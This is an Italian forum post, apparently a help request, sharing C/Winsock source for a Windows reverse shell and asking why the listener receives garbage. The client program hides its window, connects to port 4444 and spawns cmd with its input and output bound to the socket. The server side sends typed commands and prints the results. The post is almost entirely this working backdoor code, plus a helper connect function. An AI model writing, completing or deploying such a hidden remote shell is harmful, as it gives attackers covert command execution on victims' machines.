ok.. ho provato di nuovo...
dunque, mentre il codice postato prima funziona perfettamente...
l'opposto non funziona, o meglio il server (ovvero quello che dovrebbe inviare i comandi alla shell) riceve cose senza senso fino a riempire il buffer del tutto e dare errore del programma...
vi posto il codice:
client:
codice:
#define WIN32_LEAN_AND_MEAN
#include "sock.h"
#include <stdio.h>
#include <windows.h>
#include <winsock2.h> //includo la libreria per le funzioni della versione 2 del winsock
#pragma comment(lib,"Ws2_32.lib") //Winsocket lib
#define SHELL_NAME "cmd\0"
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd){
SOCKET sock, sendrecv;
struct sockaddr_in sock_addr,sendrecv_addr;
WSADATA data;
WORD p;
int len;
SECURITY_ATTRIBUTES sa;
STARTUPINFO si;
PROCESS_INFORMATION pi;
sendrecv = InitClientSocket("127.0.0.1", 4444);
if (sendrecv == 0){
MessageBox(0,"connessione non avvenuta","shell",MB_OK);
}
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.bInheritHandle = TRUE;
sa.lpSecurityDescriptor = NULL;
memset((void *) &si, 0, sizeof(si));
memset((void *) &pi, 0, sizeof(pi));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES + STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
si.hStdInput = (void *)sendrecv; // posso assegnare lo standard input direttamente alla socket
si.hStdOutput = (void *)sendrecv; // devo utilizzare un cast in quanto la socket ?n intero,
si.hStdError = (void *)sendrecv; // mentre io ho bisogno di una variabile tipo Handle (puntatore a void)
CreateProcess(NULL, SHELL_NAME, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
// closesocket(sendrecv);
// closesocket(sock);
// WSACleanup();
return 0;
}
server:
codice:
#include "sock.h"
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h> //includo la libreria per le funzioni della versione 2 del winsock
#pragma comment(lib,"Ws2_32.lib") //Winsocket lib
#define SHELL_NAME "cmd\0"
int main(){
char pBuffer[64000];
int iBytes;
SOCKET sock, sendrecv;
struct sockaddr_in sock_addr,sendrecv_addr;
WSADATA data;
WORD p;
int len;
SECURITY_ATTRIBUTES sa;
STARTUPINFO si;
PROCESS_INFORMATION pi;
//connessione modalità server...
p=MAKEWORD(2,0);
WSAStartup(p,&data);
sock = WSASocket (AF_INET, SOCK_STREAM, 0, 0, 0, 0); //utilizzo la WSASocket() invece della socket()
sock_addr.sin_family=PF_INET;
sock_addr.sin_port=htons(4444); //Utilizzo la porta 4444
sock_addr.sin_addr.s_addr=INADDR_ANY;
bind(sock,(struct sockaddr*)&sock_addr,sizeof(struct sockaddr_in));
listen(sock,1);
int lun = sizeof (struct sockaddr);
sendrecv = accept(sock,(struct sockaddr*)&sendrecv_addr,&lun);
while(TRUE){
while(TRUE){
iBytes = recv(sendrecv,pBuffer,64000,0);
pBuffer[iBytes] = '\0';
printf("%s",pBuffer);
if(pBuffer[iBytes-1] == '>') break;
}
pBuffer[0] = '\0';
gets(pBuffer);
send(sendrecv, pBuffer,lstrlen(pBuffer),0);
pBuffer[0] = '\n';pBuffer[1] = '\0';
send(sendrecv, pBuffer,lstrlen(pBuffer),0);
}
system("pause");
return 0;
}
funzione InitClientSocket
codice:
SOCKET InitClientSocket(char *pHost, int iPort){
struct sockaddr_in saClient;
struct hostent *pHostinfo;
SOCKET sock;
WORD version;
WSADATA WSAData;
version=MAKEWORD(1,1);
WSAStartup(version, &WSAData);
//Avvia il socket
if ((sock=socket(AF_INET,SOCK_STREAM,0))==SOCKET_ERROR){
return 0;
}
//Risolve il DNS
pHostinfo=gethostbyname(pHost);
if (pHostinfo==NULL){
return 0;
}
//Imposta la connessione con il server...
saClient.sin_family=AF_INET;
saClient.sin_addr=*((struct in_addr *)pHostinfo->h_addr);
saClient.sin_port=htons(iPort);
//Si connette al server...
if (connect(sock,(struct sockaddr *)&saClient, sizeof(saClient))){
return 0;
}
return sock;
}